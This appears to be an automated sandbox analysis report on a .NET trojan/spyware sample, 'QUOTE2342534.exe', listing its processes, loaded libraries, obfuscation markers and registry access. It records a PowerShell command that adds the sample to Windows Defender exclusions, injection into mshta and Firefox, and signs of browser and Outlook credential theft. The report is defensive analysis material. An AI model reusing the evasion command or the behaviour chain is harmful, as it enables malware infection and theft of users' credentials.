Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, b9hATX05wLpDVq4ne4.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, b9hATX05wLpDVq4ne4.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, b9hATX05wLpDVq4ne4.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, b9hATX05wLpDVq4ne4.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: _0020.SetAccessControl
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: _0020.AddAccessRule
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: _0020.SetAccessControl
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/7@16/11

Source: C:\Users\user\Desktop\QUOTE2342534.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QUOTE2342534.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2360:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztmdjh4q.hu2.ps1

Source: QUOTE2342534.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTE2342534.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\QUOTE2342534.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: mshta.exe, 00000008.00000002.4592995544.0000000003029000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4592995544.000000000305C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2413656101.000000000305C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2413656101.0000000003029000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QUOTE2342534.exe

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTE2342534.exe "C:\Users\user\Desktop\QUOTE2342534.exe"
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Users\user\Desktop\QUOTE2342534.exe "C:\Users\user\Desktop\QUOTE2342534.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Users\user\Desktop\QUOTE2342534.exe "C:\Users\user\Desktop\QUOTE2342534.exe"	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\QUOTE2342534.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: QUOTE2342534.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTE2342534.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: QUOTE2342534.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mshta.pdbGCTL source: QUOTE2342534.exe, 00000004.00000002.2232065125.0000000001197000.00000004.00000020.00020000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000002.4593662972.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: qnPyaKsYTE.exe, 00000007.00000000.2154339993.000000000012E000.00000002.00000001.01000000.0000000C.sdmp, qnPyaKsYTE.exe, 0000000A.00000000.2297414318.000000000012E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTE2342534.exe, 00000004.00000002.2232503719.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.0000000003810000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2232129759.00000000034B5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2233823345.000000000366A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.00000000039AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: iFFZ.pdbSHA256 source: QUOTE2342534.exe
Source:	Binary string: wntdll.pdb source: QUOTE2342534.exe, QUOTE2342534.exe, 00000004.00000002.2232503719.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, mshta.exe, 00000008.00000002.4594573230.0000000003810000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2232129759.00000000034B5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2233823345.000000000366A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.00000000039AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: iFFZ.pdb source: QUOTE2342534.exe
Source:	Binary string: mshta.pdb source: QUOTE2342534.exe, 00000004.00000002.2232065125.0000000001197000.00000004.00000020.00020000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000002.4593662972.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: QUOTE2342534.exe, formMain.cs	.Net Code: InitializeComponent
Source: 0.2.QUOTE2342534.exe.38e0b90.0.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	.Net Code: uVluVFvwkb System.Reflection.Assembly.Load(byte[])
Source: 0.2.QUOTE2342534.exe.b860000.3.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	.Net Code: uVluVFvwkb System.Reflection.Assembly.Load(byte[])
Source: 0.2.QUOTE2342534.exe.7080000.2.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 8.2.mshta.exe.3eecd14.2.raw.unpack, formMain.cs	.Net Code: InitializeComponent
Source: 10.0.qnPyaKsYTE.exe.287cd14.1.raw.unpack, formMain.cs	.Net Code: InitializeComponent
Source: 10.2.qnPyaKsYTE.exe.287cd14.1.raw.unpack, formMain.cs	.Net Code: InitializeComponent
Source: 11.2.firefox.exe.2928cd14.0.raw.unpack, formMain.cs	.Net Code: InitializeComponent

Source: QUOTE2342534.exe

Static PE information: 0xD96D0FA5 [Sat Aug 4 22:41:41 2085 UTC]

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_004118F3 push esp; iretd	4_2_00411926
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_004118B0 push esp; iretd	4_2_00411926
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0041B2EA pushfd ; retf	4_2_0041B2ED
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_004033D0 push eax; ret	4_2_004033D2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040BCC7 push C1009F53h; ret	4_2_0040BCCE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00406567 push edx; iretd	4_2_00406568
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_004165BD pushfd ; retf	4_2_004165C1
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040863B push ebx; iretd	4_2_0040863C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0041E74B push ds; iretd	4_2_0041E74C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017209AD push ecx; mov dword ptr [esp], ecx	4_2_017209B6
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_04192500 push eax; retf	7_2_0419250A
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_04197D71 pushfd ; retf	7_2_04197D74
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418874E push C1009F53h; ret	7_2_04188755
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_04182FEE push edx; iretd	7_2_04182FEF
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_04193044 pushfd ; retf	7_2_04193048
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_041850C2 push ebx; iretd	7_2_041850C3
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0419B1D2 push ds; iretd	7_2_0419B1D3
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418E337 push esp; iretd	7_2_0418E3AD
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Code function: 7_2_0418E37A push esp; iretd	7_2_0418E3AD
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0381225F pushad ; ret	8_2_038127F9
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038127FA pushad ; ret	8_2_038127F9
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038409AD push ecx; mov dword ptr [esp], ecx	8_2_038409B6
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_0381283D push eax; iretd	8_2_03812858
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03811200 push eax; iretd	8_2_03811369
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2E4DD push esp; iretd	8_2_02F2E553
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F2E520 push esp; iretd	8_2_02F2E553
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F288F4 push C1009F53h; ret	8_2_02F288FB
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F408E4 push 9C6AA52Bh; iretd	8_2_02F40948
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F25268 push ebx; iretd	8_2_02F25269
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F3B378 push ds; iretd	8_2_02F3B379
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F331EA pushfd ; retf	8_2_02F331EE

Source: QUOTE2342534.exe

Static PE information: section name: .text entropy: 7.948843186706725

Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, s4g7xRntK7HFTBAmjj.cs	High entropy of concatenated method names: 'jERLPTU3Is', 'KelLOPnWq2', 'kaELVBuOLn', 'AQ1LrCNrXl', 'OH9LBKEGwN', 'QUDLwVXiPu', 'E2ELJuAVq7', 'pnmL9bQZ9w', 'VX1LqR5rH2', 'iweLsofJYh'
Source: 0.2.QUOTE2342534.exe.438b4a0.1.raw.unpack, RgTGNHbnx4wRLD1BjK.cs	High entropy of concatenated method names: 'bOACZ7hoBA', 'OtmCXXaMrV', 'O56Cm5Jya3', 'fsZCTZ9r7t', 'VbRC6BA0wC', 'OSFC0Ey1U8', 'oiXCLWo6q9', 'oQxCerMZTQ', 'xgKCADA3Ps', 'KKLCRJ9cVK'
